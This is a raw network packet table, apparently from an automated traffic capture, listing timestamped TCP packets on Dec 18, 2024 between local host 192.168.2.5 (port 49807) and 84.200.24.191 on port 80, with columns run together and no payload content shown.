                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.305315971 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.305484056 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.306497097 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.306665897 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.306787014 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.307996035 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.308213949 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.308274031 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.308850050 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.308870077 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.308921099 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.309909105 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.310113907 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.310195923 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.311057091 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.311105013 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.311184883 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.312220097 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.312298059 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.312416077 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.313344955 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.313498974 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.313550949 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.314538956 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.314758062 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.314861059 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.315660954 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.315777063 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.315830946 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.316812038 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.316899061 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.316958904 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.318012953 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.318228006 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.318281889 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.319149971 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.319278955 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.319499969 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.320261002 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.320410013 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.320453882 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.321438074 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.321532011 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.321628094 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.322561979 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.322621107 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.322664022 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.323755026 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.323848009 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.323929071 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.324860096 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.324975014 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.325045109 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.326035023 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.326168060 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.326220989 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.327250957 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.327559948 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.327627897 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.328349113 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.377439022 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.459072113 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.459166050 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.459323883 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.459527016 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.459655046 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.459728956 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.460692883 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.460748911 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.460794926 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.461838007 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.461956024 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.462013006 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.462989092 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.463124990 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.463287115 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.464250088 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.464287996 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.464529991 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.465280056 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.465395927 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.465568066 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.466450930 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.466763020 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.466928005 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.467647076 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.467770100 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.467901945 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.468811035 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.468892097 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.468954086 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.469907045 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.470071077 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.470223904 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.471215010 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.471327066 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.471473932 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.472191095 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.472316027 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.472493887 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.473340034 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.473468065 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.473594904 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.474539995 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.474666119 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.474802017 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.475673914 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.475795984 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.475857973 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.476798058 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.476927996 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.477098942 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.477968931 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.478112936 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.478157997 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.479125023 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.479279995 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.479412079 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.480330944 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.480444908 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.480600119 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.481411934 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.481626034 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.481681108 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.482584000 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.482640028 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.482810974 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.483757019 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.483849049 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.484041929 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.484896898 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.484950066 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.485004902 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.486085892 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.486179113 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.486313105 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.487209082 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.487291098 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.487351894 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.488430977 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.488483906 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.488540888 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.489481926 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.489634037 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.489676952 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.490665913 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.490772963 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.490835905 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.491875887 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.491911888 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.492002010 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.492948055 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.493065119 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.493107080 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.494070053 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.494256973 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.494304895 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.495275021 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.495342016 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.495498896 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.496351957 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.496488094 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.496534109 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.497699976 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.498114109 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.498178005 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.498832941 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.499048948 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.499098063 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.499814034 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.499989033 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.500277042 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.501029968 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.501135111 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.501358986 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.502156019 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.502311945 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.502353907 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.503483057 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.503729105 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.503771067 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.504477978 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.504566908 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.504641056 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.505580902 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.505750895 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.505796909 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.506786108 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.506953001 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.506998062 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.507896900 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.507998943 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.508563995 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.509042978 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.509164095 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.509217024 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.510190964 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.510293961 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.510343075 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.511346102 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.511456013 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.511499882 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.512510061 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.512633085 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.512727976 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.513631105 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.513683081 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.513766050 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.514856100 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.514908075 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.514967918 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.515979052 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.516104937 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.516493082 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.517095089 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.517163038 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.517251015 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.518313885 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.518440008 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.519289970 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.519356012 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.562669039 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.650295019 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.650366068 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.650728941 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.650856972 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.651061058 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.651109934 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.652002096 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.652100086 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.652195930 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.653062105 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.653116941 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.653167963 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.654201031 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.654403925 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.654489040 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.655441046 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.655494928 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.655546904 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.656527996 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.656666994 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.656723022 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.657694101 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.657821894 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.657900095 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.658812046 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.659029007 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.659080982 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.660006046 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.660164118 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.660284996 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.661145926 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.661242008 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.661411047 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.662277937 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.662395954 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.662456036 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.663402081 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.663536072 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.663690090 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.664594889 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.664695024 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.664870977 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.665776968 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.665941000 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.666070938 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.666867971 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.667004108 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.667135000 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.668020010 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.668210030 CET804980784.200.24.191192.168.2.5
